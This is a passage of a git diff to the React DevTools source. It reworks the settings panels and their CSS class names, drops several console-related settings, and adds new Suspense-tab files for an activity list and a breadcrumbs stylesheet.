+++ b/packages/react-devtools-shared/src/devtools/views/Settings/GeneralSettings.js
@@ -12,9 +12,15 @@ import {useContext, useMemo} from 'react';
 import {SettingsContext} from './SettingsContext';
 import {StoreContext} from '../context';
 import {CHANGE_LOG_URL} from 'react-devtools-shared/src/devtools/constants';
+import {isInternalFacebookBuild} from 'react-devtools-feature-flags';
 
 import styles from './SettingsShared.css';
 
+import CodeEditorOptions from './CodeEditorOptions';
+import CodeEditorByDefault from './CodeEditorByDefault';
+import {LOCAL_STORAGE_ALWAYS_OPEN_IN_EDITOR} from '../../../constants';
+import {useLocalStorage} from '../hooks';
+
 function getChangeLogUrl(version: ?string): string | null {
   if (!version) {
     return null;
@@ -44,12 +50,22 @@ export default function GeneralSettings(_: {}): React.Node {
   const showBackendVersion =
     backendVersion && backendVersion !== frontendVersion;
 
+  const [alwaysOpenInEditor] = useLocalStorage<boolean>(
+    LOCAL_STORAGE_ALWAYS_OPEN_IN_EDITOR,
+    false,
+  );
+
   return (
-    <div className={styles.Settings}>
-      <div className={styles.Setting}>
+    <div className={styles.SettingList}>
+      {isInternalFacebookBuild && (
+        <div className={styles.SettingWrapper}>
+          This is an internal build of React DevTools for Meta
+        </div>
+      )}
+
+      <div className={styles.SettingWrapper}>
         <div className={styles.RadioLabel}>Theme</div>
         <select
-          className={styles.Select}
           value={theme}
           onChange={({currentTarget}) => setTheme(currentTarget.value)}>
           <option value="auto">Auto</option>
@@ -58,10 +74,9 @@ export default function GeneralSettings(_: {}): React.Node {
         </select>
       </div>
 
-      <div className={styles.Setting}>
+      <div className={styles.SettingWrapper}>
         <div className={styles.RadioLabel}>Display density</div>
         <select
-          className={styles.Select}
           value={displayDensity}
           onChange={({currentTarget}) =>
             setDisplayDensity(currentTarget.value)
@@ -71,17 +86,36 @@ export default function GeneralSettings(_: {}): React.Node {
         </select>
       </div>
 
+      <div className={styles.SettingWrapper}>
+        <label className={styles.SettingRow}>
+          <div className={styles.RadioLabel}>Open in Editor URL</div>
+          <CodeEditorOptions />
+        </label>
+      </div>
+
+      <div className={styles.SettingWrapper}>
+        <CodeEditorByDefault />
+        {alwaysOpenInEditor && (__IS_CHROME__ || __IS_EDGE__) ? (
+          <div>
+            To enable link handling in your browser's DevTools settings, look
+            for the option Extension -> Link Handling. Select "React Developer
+            Tools".
+          </div>
+        ) : null}
+      </div>
+
       {supportsTraceUpdates && (
-        <div className={styles.Setting}>
-          <label>
+        <div className={styles.SettingWrapper}>
+          <label className={styles.SettingRow}>
             <input
               type="checkbox"
               checked={traceUpdatesEnabled}
               onChange={({currentTarget}) =>
                 setTraceUpdatesEnabled(currentTarget.checked)
               }
-            />{' '}
-            Highlight updates when components render.
+              className={styles.SettingRowCheckbox}
+            />
+            Highlight updates when components render
           </label>
         </div>
       )}
diff --git a/packages/react-devtools-shared/src/devtools/views/Settings/ProfilerSettings.js b/packages/react-devtools-shared/src/devtools/views/Settings/ProfilerSettings.js
index 25bc08d7ad12..75bb97d902e2 100644
--- a/packages/react-devtools-shared/src/devtools/views/Settings/ProfilerSettings.js
+++ b/packages/react-devtools-shared/src/devtools/views/Settings/ProfilerSettings.js
@@ -14,6 +14,7 @@ import {StoreContext} from '../context';
 import {ProfilerContext} from 'react-devtools-shared/src/devtools/views/Profiler/ProfilerContext';
 
 import styles from './SettingsShared.css';
+import typeof {SyntheticEvent} from 'react-dom-bindings/src/events/SyntheticEvent';
 
 export default function ProfilerSettings(_: {}): React.Node {
   const {
@@ -45,7 +46,7 @@ export default function ProfilerSettings(_: {}): React.Node {
     [store],
   );
   const updateMinCommitDuration = useCallback(
-    (event: SyntheticEvent<HTMLInputElement>) => {
+    (event: SyntheticEvent) => {
       const newValue = parseFloat(event.currentTarget.value);
       setMinCommitDuration(
         Number.isNaN(newValue) || newValue <= 0 ? 0 : newValue,
@@ -54,7 +55,7 @@ export default function ProfilerSettings(_: {}): React.Node {
     [setMinCommitDuration],
   );
   const updateIsCommitFilterEnabled = useCallback(
-    (event: SyntheticEvent<HTMLInputElement>) => {
+    (event: SyntheticEvent) => {
       const checked = event.currentTarget.checked;
       setIsCommitFilterEnabled(checked);
       if (checked) {
@@ -69,35 +70,37 @@ export default function ProfilerSettings(_: {}): React.Node {
   const minCommitDurationInputRef = useRef<HTMLInputElement | null>(null);
 
   return (
-    <div className={styles.Settings}>
-      <div className={styles.Setting}>
-        <label>
+    <div className={styles.SettingList}>
+      <div className={styles.SettingWrapper}>
+        <label className={styles.SettingRow}>
           <input
             type="checkbox"
             checked={recordChangeDescriptions}
             onChange={updateRecordChangeDescriptions}
-          />{' '}
-          Record why each component rendered while profiling.
+            className={styles.SettingRowCheckbox}
+          />
+          Record why each component rendered while profiling
         </label>
       </div>
 
-      <div className={styles.Setting}>
-        <label>
+      <div className={styles.SettingWrapper}>
+        <label className={styles.SettingRow}>
           <input
             checked={isCommitFilterEnabled}
             onChange={updateIsCommitFilterEnabled}
             type="checkbox"
-          />{' '}
+            className={styles.SettingRowCheckbox}
+          />
           Hide commits below
-        </label>{' '}
-        <input
-          className={styles.Input}
-          onChange={updateMinCommitDuration}
-          ref={minCommitDurationInputRef}
-          type="number"
-          value={minCommitDuration}
-        />{' '}
-        (ms)
+          <input
+            className={styles.Input}
+            onChange={updateMinCommitDuration}
+            ref={minCommitDurationInputRef}
+            type="number"
+            value={minCommitDuration}
+          />
+          &nbsp;(ms)
+        </label>
       </div>
     </div>
   );
diff --git a/packages/react-devtools-shared/src/devtools/views/Settings/SettingsContext.js b/packages/react-devtools-shared/src/devtools/views/Settings/SettingsContext.js
index a6f2c5e8c2a7..c20249e89942 100644
--- a/packages/react-devtools-shared/src/devtools/views/Settings/SettingsContext.js
+++ b/packages/react-devtools-shared/src/devtools/views/Settings/SettingsContext.js
@@ -20,11 +20,7 @@ import {
 import {
   LOCAL_STORAGE_BROWSER_THEME,
   LOCAL_STORAGE_PARSE_HOOK_NAMES_KEY,
-  LOCAL_STORAGE_SHOULD_BREAK_ON_CONSOLE_ERRORS,
-  LOCAL_STORAGE_SHOULD_APPEND_COMPONENT_STACK_KEY,
   LOCAL_STORAGE_TRACE_UPDATES_ENABLED_KEY,
-  LOCAL_STORAGE_SHOW_INLINE_WARNINGS_AND_ERRORS_KEY,
-  LOCAL_STORAGE_HIDE_CONSOLE_LOGS_IN_STRICT_MODE,
 } from 'react-devtools-shared/src/constants';
 import {
   COMFORTABLE_LINE_HEIGHT,
@@ -47,21 +43,9 @@ type Context = {
   // Specified as a separate prop so it can trigger a re-render of FixedSizeList.
   lineHeight: number,
 
-  appendComponentStack: boolean,
-  setAppendComponentStack: (value: boolean) => void,
-
-  breakOnConsoleErrors: boolean,
-  setBreakOnConsoleErrors: (value: boolean) => void,
-
   parseHookNames: boolean,
   setParseHookNames: (value: boolean) => void,
 
-  hideConsoleLogsInStrictMode: boolean,
-  setHideConsoleLogsInStrictMode: (value: boolean) => void,
-
-  showInlineWarningsAndErrors: boolean,
-  setShowInlineWarningsAndErrors: (value: boolean) => void,
-
   theme: Theme,
   setTheme(value: Theme): void,
 
@@ -99,6 +83,7 @@ type Props = {
   children: React$Node,
   componentsPortalContainer?: Element,
   profilerPortalContainer?: Element,
+  suspensePortalContainer?: Element,
 };
 
 function SettingsContextController({
@@ -106,6 +91,7 @@ function SettingsContextController({
   children,
   componentsPortalContainer,
   profilerPortalContainer,
+  suspensePortalContainer,
 }: Props): React.Node {
   const bridge = useContext(BridgeContext);
 
@@ -118,30 +104,10 @@ function SettingsContextController({
     LOCAL_STORAGE_BROWSER_THEME,
     'auto',
   );
-  const [appendComponentStack, setAppendComponentStack] =
-    useLocalStorageWithLog<boolean>(
-      LOCAL_STORAGE_SHOULD_APPEND_COMPONENT_STACK_KEY,
-      true,
-    );
-  const [breakOnConsoleErrors, setBreakOnConsoleErrors] =
-    useLocalStorageWithLog<boolean>(
-      LOCAL_STORAGE_SHOULD_BREAK_ON_CONSOLE_ERRORS,
-      false,
-    );
   const [parseHookNames, setParseHookNames] = useLocalStorageWithLog<boolean>(
     LOCAL_STORAGE_PARSE_HOOK_NAMES_KEY,
     false,
   );
-  const [hideConsoleLogsInStrictMode, setHideConsoleLogsInStrictMode] =
-    useLocalStorageWithLog<boolean>(
-      LOCAL_STORAGE_HIDE_CONSOLE_LOGS_IN_STRICT_MODE,
-      false,
-    );
-  const [showInlineWarningsAndErrors, setShowInlineWarningsAndErrors] =
-    useLocalStorageWithLog<boolean>(
-      LOCAL_STORAGE_SHOW_INLINE_WARNINGS_AND_ERRORS_KEY,
-      true,
-    );
   const [traceUpdatesEnabled, setTraceUpdatesEnabled] =
     useLocalStorageWithLog<boolean>(
       LOCAL_STORAGE_TRACE_UPDATES_ENABLED_KEY,
@@ -164,8 +130,18 @@ function SettingsContextController({
           .documentElement: any): HTMLElement),
       );
     }
+    if (suspensePortalContainer != null) {
+      array.push(
+        ((suspensePortalContainer.ownerDocument
+          .documentElement: any): HTMLElement),
+      );
+    }
     return array;
-  }, [componentsPortalContainer, profilerPortalContainer]);
+  }, [
+    componentsPortalContainer,
+    profilerPortalContainer,
+    suspensePortalContainer,
+  ]);
 
   useLayoutEffect(() => {
     switch (displayDensity) {
@@ -196,66 +172,33 @@ function SettingsContextController({
     }
   }, [browserTheme, theme, documentElements]);
 
-  useEffect(() => {
-    bridge.send('updateConsolePatchSettings', {
-      appendComponentStack,
-      breakOnConsoleErrors,
-      showInlineWarningsAndErrors,
-      hideConsoleLogsInStrictMode,
-      browserTheme,
-    });
-  }, [
-    bridge,
-    appendComponentStack,
-    breakOnConsoleErrors,
-    showInlineWarningsAndErrors,
-    hideConsoleLogsInStrictMode,
-    browserTheme,
-  ]);
-
   useEffect(() => {
     bridge.send('setTraceUpdatesEnabled', traceUpdatesEnabled);
   }, [bridge, traceUpdatesEnabled]);
 
-  const value = useMemo(
+  const value: Context = useMemo(
     () => ({
-      appendComponentStack,
-      breakOnConsoleErrors,
       displayDensity,
       lineHeight:
         displayDensity === 'compact'
           ? COMPACT_LINE_HEIGHT
           : COMFORTABLE_LINE_HEIGHT,
       parseHookNames,
-      setAppendComponentStack,
-      setBreakOnConsoleErrors,
       setDisplayDensity,
       setParseHookNames,
       setTheme,
       setTraceUpdatesEnabled,
-      setShowInlineWarningsAndErrors,
-      showInlineWarningsAndErrors,
-      setHideConsoleLogsInStrictMode,
-      hideConsoleLogsInStrictMode,
       theme,
       browserTheme,
       traceUpdatesEnabled,
     }),
     [
-      appendComponentStack,
-      breakOnConsoleErrors,
       displayDensity,
       parseHookNames,
-      setAppendComponentStack,
-      setBreakOnConsoleErrors,
       setDisplayDensity,
       setParseHookNames,
       setTheme,
       setTraceUpdatesEnabled,
-      setShowInlineWarningsAndErrors,
-      showInlineWarningsAndErrors,
-      setHideConsoleLogsInStrictMode,
-      hideConsoleLogsInStrictMode,
       theme,
       browserTheme,
       traceUpdatesEnabled,
diff --git a/packages/react-devtools-shared/src/devtools/views/Settings/SettingsModal.js b/packages/react-devtools-shared/src/devtools/views/Settings/SettingsModal.js
index ecaa80ea5ea5..023b342a0cb9 100644
--- a/packages/react-devtools-shared/src/devtools/views/Settings/SettingsModal.js
+++ b/packages/react-devtools-shared/src/devtools/views/Settings/SettingsModal.js
@@ -26,9 +26,11 @@ import ProfilerSettings from './ProfilerSettings';
 
 import styles from './SettingsModal.css';
 
-type TabID = 'general' | 'components' | 'profiler';
+import type Store from 'react-devtools-shared/src/devtools/store';
 
-export default function SettingsModal(_: {}): React.Node {
+type TabID = 'general' | 'debugging' | 'components' | 'profiler';
+
+export default function SettingsModal(): React.Node {
   const {isModalShowing, setIsModalShowing} = useContext(SettingsModalContext);
   const store = useContext(StoreContext);
   const {profilerStore} = store;
@@ -37,7 +39,7 @@ export default function SettingsModal(_: {}): React.Node {
   // Explicitly disallow it for now.
   const isProfilingSubscription = useMemo(
     () => ({
-      getCurrentValue: () => profilerStore.isProfiling,
+      getCurrentValue: () => profilerStore.isProfilingBasedOnUserInput,
       subscribe: (callback: Function) => {
         profilerStore.addListener('isProfiling', callback);
         return () => profilerStore.removeListener('isProfiling', callback);
@@ -54,11 +56,14 @@ export default function SettingsModal(_: {}): React.Node {
     return null;
   }
 
-  return <SettingsModalImpl />;
+  return <SettingsModalImpl store={store} />;
 }
 
-function SettingsModalImpl(_: {}) {
-  const {setIsModalShowing} = useContext(SettingsModalContext);
+type ImplProps = {store: Store};
+
+function SettingsModalImpl({store}: ImplProps) {
+  const {setIsModalShowing, environmentNames, hookSettings} =
+    useContext(SettingsModalContext);
   const dismissModal = useCallback(
     () => setIsModalShowing(false),
     [setIsModalShowing],
@@ -81,11 +86,10 @@ function SettingsModalImpl(_: {}) {
   let view = null;
   switch (selectedTabID) {
     case 'components':
-      view = <ComponentsSettings />;
+      view = <ComponentsSettings environmentNames={environmentNames} />;
       break;
-    // $FlowFixMe[incompatible-type] is this missing in TabID?
     case 'debugging':
-      view = <DebuggingSettings />;
+      view = <DebuggingSettings hookSettings={hookSettings} store={store} />;
       break;
     case 'general':
       view = <GeneralSettings />;
diff --git a/packages/react-devtools-shared/src/devtools/views/Settings/SettingsModalContext.js b/packages/react-devtools-shared/src/devtools/views/Settings/SettingsModalContext.js
index 465d01ec3e4b..f8f76053fc12 100644
--- a/packages/react-devtools-shared/src/devtools/views/Settings/SettingsModalContext.js
+++ b/packages/react-devtools-shared/src/devtools/views/Settings/SettingsModalContext.js
@@ -10,15 +10,27 @@
 import type {ReactContext} from 'shared/ReactTypes';
 
 import * as React from 'react';
-import {createContext, useMemo, useState} from 'react';
+import {
+  createContext,
+  useContext,
+  useCallback,
+  useState,
+  startTransition,
+} from 'react';
+
+import {BridgeContext, StoreContext} from '../context';
+
+import type {FrontendBridge} from '../../../bridge';
+import type {DevToolsHookSettings} from '../../../backend/types';
+import type Store from '../../store';
 
-export type DisplayDensity = 'comfortable' | 'compact';
 export type Theme = 'auto' | 'light' | 'dark';
 
 type Context = {
   isModalShowing: boolean,
   setIsModalShowing: (value: boolean) => void,
-  ...
+  environmentNames: null | Promise<Array<string>>,
+  hookSettings: null | Promise<$ReadOnly<DevToolsHookSettings>>,
 };
 
 const SettingsModalContext: ReactContext<Context> = createContext<Context>(
@@ -26,20 +38,62 @@ const SettingsModalContext: ReactContext<Context> = createContext<Context>(
 );
 SettingsModalContext.displayName = 'SettingsModalContext';
 
+function fetchEnvironmentNames(bridge: FrontendBridge): Promise<Array<string>> {
+  return new Promise(resolve => {
+    function onEnvironmentNames(names: Array<string>) {
+      bridge.removeListener('environmentNames', onEnvironmentNames);
+      resolve(names);
+    }
+    bridge.addListener('environmentNames', onEnvironmentNames);
+    bridge.send('getEnvironmentNames');
+  });
+}
+
+function fetchHookSettings(
+  store: Store,
+): Promise<$ReadOnly<DevToolsHookSettings>> {
+  return new Promise(resolve => {
+    function onHookSettings(settings: $ReadOnly<DevToolsHookSettings>) {
+      store.removeListener('hookSettings', onHookSettings);
+      resolve(settings);
+    }
+
+    store.addListener('hookSettings', onHookSettings);
+    store.getHookSettings();
+  });
+}
+
 function SettingsModalContextController({
   children,
 }: {
   children: React$Node,
 }): React.Node {
-  const [isModalShowing, setIsModalShowing] = useState<boolean>(false);
+  const bridge = useContext(BridgeContext);
+  const store = useContext(StoreContext);
 
-  const value = useMemo(
-    () => ({isModalShowing, setIsModalShowing}),
-    [isModalShowing, setIsModalShowing],
+  const setIsModalShowing: boolean => void = useCallback(
+    (value: boolean) => {
+      startTransition(() => {
+        setContext({
+          isModalShowing: value,
+          setIsModalShowing,
+          environmentNames: value ? fetchEnvironmentNames(bridge) : null,
+          hookSettings: value ? fetchHookSettings(store) : null,
+        });
+      });
+    },
+    [bridge, store],
   );
 
+  const [currentContext, setContext] = useState<Context>({
+    isModalShowing: false,
+    setIsModalShowing,
+    environmentNames: null,
+    hookSettings: null,
+  });
+
   return (
-    <SettingsModalContext.Provider value={value}>
+    <SettingsModalContext.Provider value={currentContext}>
       {children}
     </SettingsModalContext.Provider>
   );
diff --git a/packages/react-devtools-shared/src/devtools/views/Settings/SettingsModalContextToggle.js b/packages/react-devtools-shared/src/devtools/views/Settings/SettingsModalContextToggle.js
index 306f0715111b..94fa5c411181 100644
--- a/packages/react-devtools-shared/src/devtools/views/Settings/SettingsModalContextToggle.js
+++ b/packages/react-devtools-shared/src/devtools/views/Settings/SettingsModalContextToggle.js
@@ -29,7 +29,7 @@ export default function SettingsModalContextToggle(): React.Node {
   // Explicitly disallow it for now.
   const isProfilingSubscription = useMemo(
     () => ({
-      getCurrentValue: () => profilerStore.isProfiling,
+      getCurrentValue: () => profilerStore.isProfilingBasedOnUserInput,
       subscribe: (callback: Function) => {
         profilerStore.addListener('isProfiling', callback);
         return () => profilerStore.removeListener('isProfiling', callback);
diff --git a/packages/react-devtools-shared/src/devtools/views/Settings/SettingsShared.css b/packages/react-devtools-shared/src/devtools/views/Settings/SettingsShared.css
index c322bc8d0eaa..71c533278884 100644
--- a/packages/react-devtools-shared/src/devtools/views/Settings/SettingsShared.css
+++ b/packages/react-devtools-shared/src/devtools/views/Settings/SettingsShared.css
@@ -1,4 +1,4 @@
-.Settings {
+.SettingList {
   display: flex;
   flex-direction: column;
   align-items: flex-start;
@@ -7,15 +7,28 @@
   font-size: var(--font-size-sans-normal);
 }
 
-.Setting {
+.SettingWrapper {
   margin-bottom: 0.5rem;
 }
-.Setting:last-of-type {
+.SettingWrapper:last-of-type {
   margin-bottom: 0;
 }
 
-.OpenInURLSetting {
-  margin: 0.5rem 0;
+.SettingRow {
+  display: inline-flex;
+  flex-direction: row;
+  align-items: center;
+  overflow: hidden;
+  text-overflow: ellipsis;
+}
+
+.SettingRowCheckbox {
+  margin: 0.125rem 0.25rem 0.125rem 0;
+}
+
+.SettingDisabled {
+  opacity: 0.5;
+  cursor: not-allowed;
 }
 
 .OptionGroup {
diff --git a/packages/react-devtools-shared/src/devtools/views/SuspenseTab/ActivityList.css b/packages/react-devtools-shared/src/devtools/views/SuspenseTab/ActivityList.css
new file mode 100644
index 000000000000..4781f6899b84
--- /dev/null
+++ b/packages/react-devtools-shared/src/devtools/views/SuspenseTab/ActivityList.css
@@ -0,0 +1,58 @@
+.ActivityListContaier {
+  display: flex;
+  flex-direction: column;
+}
+
+.ActivityListHeader {
+  /* even if empty, provides layout alignment with the main view */
+  display: flex;
+  flex: 0 0 42px;
+  border-bottom: 1px solid var(--color-border);
+}
+
+.ActivityListList {
+  cursor: default;
+  list-style-type: none;
+  margin: 0;
+  padding: 0;
+}
+
+.ActivityListList[data-pending-activity-slice-selection="true"] {
+  cursor: wait;
+}
+
+.ActivityListList:focus {
+  outline: none;
+}
+
+.ActivityListItem {
+  color: var(--color-component-name);
+  line-height: var(--line-height-data);
+  padding: 0 0.25rem;
+  user-select: none;
+}
+
+.ActivityListItem:hover {
+  background-color: var(--color-background-hover);
+}
+
+.ActivityListItem[aria-selected="true"] {
+  background-color: var(--color-background-inactive);
+}
+
+.ActivityListList:focus .ActivityListItem[aria-selected="true"] {
+  background-color: var(--color-background-selected);
+  color: var(--color-text-selected);
+
+  /* Invert colors */
+  --color-component-name: var(--color-component-name-inverted);
+  --color-text: var(--color-text-selected);
+  --color-component-badge-background: var(
+    --color-component-badge-background-inverted
+  );
+  --color-forget-badge-background: var(--color-forget-badge-background-inverted);
+  --color-component-badge-count: var(--color-component-badge-count-inverted);
+  --color-attribute-name: var(--color-attribute-name-inverted);
+  --color-attribute-value: var(--color-attribute-value-inverted);
+  --color-expand-collapse-toggle: var(--color-component-name-inverted);
+}
diff --git a/packages/react-devtools-shared/src/devtools/views/SuspenseTab/ActivityList.js b/packages/react-devtools-shared/src/devtools/views/SuspenseTab/ActivityList.js
new file mode 100644
index 000000000000..acef66d3eda4
--- /dev/null
+++ b/packages/react-devtools-shared/src/devtools/views/SuspenseTab/ActivityList.js
@@ -0,0 +1,263 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+import type {
+  Element,
+  ActivitySliceFilter,
+  ComponentFilter,
+} from 'react-devtools-shared/src/frontend/types';
+import typeof {
+  SyntheticMouseEvent,
+  SyntheticKeyboardEvent,
+} from 'react-dom-bindings/src/events/SyntheticEvent';
+import type Store from 'react-devtools-shared/src/devtools/store';
+
+import * as React from 'react';
+import {useContext, useMemo, useTransition} from 'react';
+import {
+  ComponentFilterActivitySlice,
+  ElementTypeActivity,
+} from 'react-devtools-shared/src/frontend/types';
+import styles from './ActivityList.css';
+import {
+  TreeStateContext,
+  TreeDispatcherContext,
+} from '../Components/TreeContext';
+import {useHighlightHostInstance} from '../hooks';
+import {StoreContext} from '../context';
+
+export function useChangeActivitySliceAction(): (
+  id: Element['id'] | null,
+) => void {
+  const store = useContext(StoreContext);
+
+  function changeActivitySliceAction(activityID: Element['id'] | null) {
+    const nextFilters: ComponentFilter[] = [];
+    // Remove any existing activity slice filter
+    for (let i = 0; i < store.componentFilters.length; i++) {
+      const filter = store.componentFilters[i];
+      if (filter.type !== ComponentFilterActivitySlice) {
+        nextFilters.push(filter);
+      }
+    }
+
+    if (activityID !== null) {
+      const rendererID = store.getRendererIDForElement(activityID);
+      if (rendererID === null) {
+        throw new Error('Expected to find renderer.');
+      }
+      const activityFilter: ActivitySliceFilter = {
+        type: ComponentFilterActivitySlice,
+        activityID,
+        rendererID,
+        isValid: true,
+        isEnabled: true,
+      };
+      nextFilters.push(activityFilter);
+    }
+    store.componentFilters = nextFilters;
+  }
+
+  return changeActivitySliceAction;
+}
+
+function findNearestActivityParentID(
+  elementID: Element['id'],
+  store: Store,
+): Element['id'] | null {
+  let currentID: null | Element['id'] = elementID;
+  while (currentID !== null) {
+    const element = store.getElementByID(currentID);
+    if (element === null) {
+      return null;
+    }
+    if (element.type === ElementTypeActivity) {
+      return element.id;
+    }
+    currentID = element.parentID;
+  }
+
+  return currentID;
+}
+
+function useSelectedActivityID(): Element['id'] | null {
+  const {inspectedElementID} = useContext(TreeStateContext);
+  const store = useContext(StoreContext);
+  return useMemo(() => {
+    if (inspectedElementID === null) {
+      return null;
+    }
+    const nearestActivityID = findNearestActivityParentID(
+      inspectedElementID,
+      store,
+    );
+    return nearestActivityID;
+  }, [inspectedElementID, store]);
+}
+
+export default function ActivityList({
+  activities,
+}: {
+  activities: $ReadOnlyArray<{id: Element['id'], depth: number}>,
+}): React$Node {
+  const {activityID, inspectedElementID} = useContext(TreeStateContext);
+  const treeDispatch = useContext(TreeDispatcherContext);
+  const store = useContext(StoreContext);
+  const selectedActivityID = useSelectedActivityID();
+  const {highlightHostInstance, clearHighlightHostInstance} =
+    useHighlightHostInstance();
+
+  const [isPendingActivitySliceSelection, startActivitySliceSelection] =
+    useTransition();
+  const changeActivitySliceAction = useChangeActivitySliceAction();
+
+  const includeAllOption = activityID !== null;
+
+  function handleKeyDown(event: SyntheticKeyboardEvent) {
+    switch (event.key) {
+      case 'Escape':
+        startActivitySliceSelection(() => {
+          changeActivitySliceAction(null);
+        });
+        event.preventDefault();
+        break;
+      case 'Enter':
+      case ' ':
+        startActivitySliceSelection(() => {
+          changeActivitySliceAction(inspectedElementID);
+        });
+        event.preventDefault();
+        break;
+      case 'Home':
+        treeDispatch({
+          type: 'SELECT_ELEMENT_BY_ID',
+          payload: includeAllOption ? null : activities[0].id,
+        });
+        event.preventDefault();
+        break;
+      case 'End':
+        treeDispatch({
+          type: 'SELECT_ELEMENT_BY_ID',
+          payload: activities[activities.length - 1].id,
+        });
+        event.preventDefault();
+        break;
+      case 'ArrowUp': {
+        const currentIndex = activities.findIndex(
+          activity => activity.id === selectedActivityID,
+        );
+        let nextIndex: number;
+        if (currentIndex === -1) {
+          // Currently selecting "All", wrap around to last Activity.
+          nextIndex = activities.length - 1;
+        } else {
+          nextIndex = currentIndex - 1;
+          if (!includeAllOption) {
+            nextIndex = (nextIndex + activities.length) % activities.length;
+          }
+        }
+
+        treeDispatch({
+          type: 'SELECT_ELEMENT_BY_ID',
+          payload: nextIndex === -1 ? null : activities[nextIndex].id,
+        });
+        event.preventDefault();
+        break;
+      }
+      case 'ArrowDown': {
+        const currentIndex = activities.findIndex(
+          activity => activity.id === selectedActivityID,
+        );
+        let nextIndex: number;
+        if (includeAllOption && currentIndex === activities.length - 1) {
+          // Currently selecting last Activity, wrap around to "All".
+          nextIndex = -1;
+        } else {
+          nextIndex = (currentIndex + 1) % activities.length;
+        }
+        treeDispatch({
+          type: 'SELECT_ELEMENT_BY_ID',
+          payload: nextIndex === -1 ? null : activities[nextIndex].id,
+        });
+        event.preventDefault();
+        break;
+      }
+      default:
+        break;
+    }
+  }
+
+  function handleClick(id: Element['id'] | null, event: SyntheticMouseEvent) {
+    event.preventDefault();
+    treeDispatch({type: 'SELECT_ELEMENT_BY_ID', payload: id});
+  }
+
+  function handleDoubleClick() {
+    if (inspectedElementID !== null) {
+      changeActivitySliceAction(inspectedElementID);
+    }
+  }
+
+  return (
+    <div className={styles.ActivityListContaier}>
+      <div className={styles.ActivityListHeader} />
+      <ol
+        role="listbox"
+        className={styles.ActivityListList}
+        data-pending-activity-slice-selection={isPendingActivitySliceSelection}
+        tabIndex={0}
+        onKeyDown={handleKeyDown}>
+        {includeAllOption && (
+          // TODO: Obsolete once filtered Activities are included in this list.
+          <li
+            role="option"
+            aria-selected={null === selectedActivityID ? 'true' : 'false'}
+            className={styles.ActivityListItem}
+            onClick={handleClick.bind(null, null)}
+            onDoubleClick={handleDoubleClick}>
+            All
+          </li>
+        )}
+        {activities.map(({id, depth}) => {
+          const activity = store.getElementByID(id);
+          if (activity === null) {
+            return null;
+          }
+          const name = activity.nameProp;
+          if (name === null) {
+            // This shouldn't actually happen. We only want to show activities with a name.
+            // And hide the whole list if no named Activities are present.
+            return null;
+          }
+
+          // TODO: Filtered Activities should have dedicated styles once we include
+          // filtered Activities in this list.
+          return (
+            <li
+              key={activity.id}
+              role="option"
+              aria-selected={
+                activity.id === selectedActivityID ? 'true' : 'false'
+              }
+              className={styles.ActivityListItem}
+              onClick={handleClick.bind(null, activity.id)}
+              onDoubleClick={handleDoubleClick}
+              onPointerOver={highlightHostInstance.bind(
+                null,
+                activity.id,
+                false,
+              )}
+              onPointerLeave={clearHighlightHostInstance}>
+              {'\u00A0'.repeat(depth + (includeAllOption ? 1 : 0)) + name}
+            </li>
+          );
+        })}
+      </ol>
+    </div>
+  );
+}
diff --git a/packages/react-devtools-shared/src/devtools/views/SuspenseTab/SuspenseBreadcrumbs.css b/packages/react-devtools-shared/src/devtools/views/SuspenseTab/SuspenseBreadcrumbs.css
new file mode 100644
index 000000000000..fed028a35415
--- /dev/null
+++ b/packages/react-devtools-shared/src/devtools/views/SuspenseTab/SuspenseBreadcrumbs.css
@@ -0,0 +1,102 @@
+.SuspenseBreadcrumbsContainer {
+  flex: 1;
+  display: flex;
+}
+
+.SuspenseBreadcrumbsList {
+  margin: 0;
+  padding: 0;
+  list-style: none;
+  display: inline-flex;
+  flex-direction: row;
+  flex-wrap: nowrap;
+  align-items: baseline;
+}
+
+.SuspenseBreadcrumbsListItem {
+  display: inline;
+}
+
+.SuspenseBreadcrumbsListItemSeparator {
+  user-select: none;
+}
+
+.SuspenseBreadcrumbsListItem[aria-current="true"] .SuspenseBreadcrumbsButton {
+  color: var(--color-button-active);
+}
+
+.SuspenseBreadcrumbsButton {
+  background: var(--color-button-background);
+  border: none;
+  border-radius: 0.25rem;
+  color: var(--color-button);
+  font-family: var(--font-family-monospace);
+  font-size: var(--font-size-monospace-normal);
+  padding: 0.25rem;
+  white-space: nowrap;
+}
+
+.SuspenseBreadcrumbsButton:hover {
+  background-color: var(--color-button-background-hover);
+  color: var(--color-button-hover);
+}
+
+.SuspenseBreadcrumbsButton:focus-visible {
+  background: var(--color-button-background-focus);
+}
+
+.SuspenseBreadcrumbsMenuButton {
+  border-radius: 0.25rem;
+  display: inline-flex;
+  align-items: center;
+  padding: 0;
+  flex: 0 0 auto;
+  border: none;
+  background: var(--color-button-background);
+  color: var(--color-button);
+}
+
+.SuspenseBreadcrumbsMenuButtonContent {
+  display: inline-flex;
+  align-items: center;
+  border-radius: 0.25rem;
+  padding: 0.25rem;
+}
+
+.SuspenseBreadcrumbsMenuButton:hover {
+  color: var(--color-button-hover);
+}
+.SuspenseBreadcrumbsMenuButton[aria-expanded="true"],
+.SuspenseBreadcrumbsMenuButton[aria-expanded="true"]:active {
+  color: var(--color-button-active);
+  outline: none;
+}
+
+.SuspenseBreadcrumbsMenuButton:focus,
+.SuspenseBreadcrumbsMenuButtonContent:focus {
+  outline: none;
+}
+.SuspenseBreadcrumbsMenuButton:focus > .SuspenseBreadcrumbsMenuButtonContent {
+  background: var(--color-button-background-focus);
+}
+
+.SuspenseBreadcrumbsModal[data-reach-menu-list] {
+  display: inline-flex;
+  flex-direction: column;
+  background-color: var(--color-background);
+  color: var(--color-button);
+  padding: 0.25rem 0;
+  padding-right: 0;
+  border: 1px solid var(--color-border);
+  border-radius: 0.25rem;
+  max-height: 10rem;
+  overflow: auto;
+
+  /* Make sure this is above the DevTools, which are above the Overlay */
+  z-index: 10000002;
+  position: relative;
+
+  /* Reach UI tries to set its own :( */
+  font-family: var(--font-family-monospace);
+  font-size: var(--font-size-monospace-normal);
+}
diff --git a/packages/react-devtools-shared/src/devtools/views/SuspenseTab/SuspenseBreadcrumbs.js b/packages/react-devtools-shared/src/devtools/views/SuspenseTab/SuspenseBreadcrumbs.js
new file mode 100644
index 000000000000..c542858b3016
--- /dev/null
+++ b/packages/react-devtools-shared/src/devtools/views/SuspenseTab/SuspenseBreadcrumbs.js
@@ -0,0 +1,318 @@
+/**
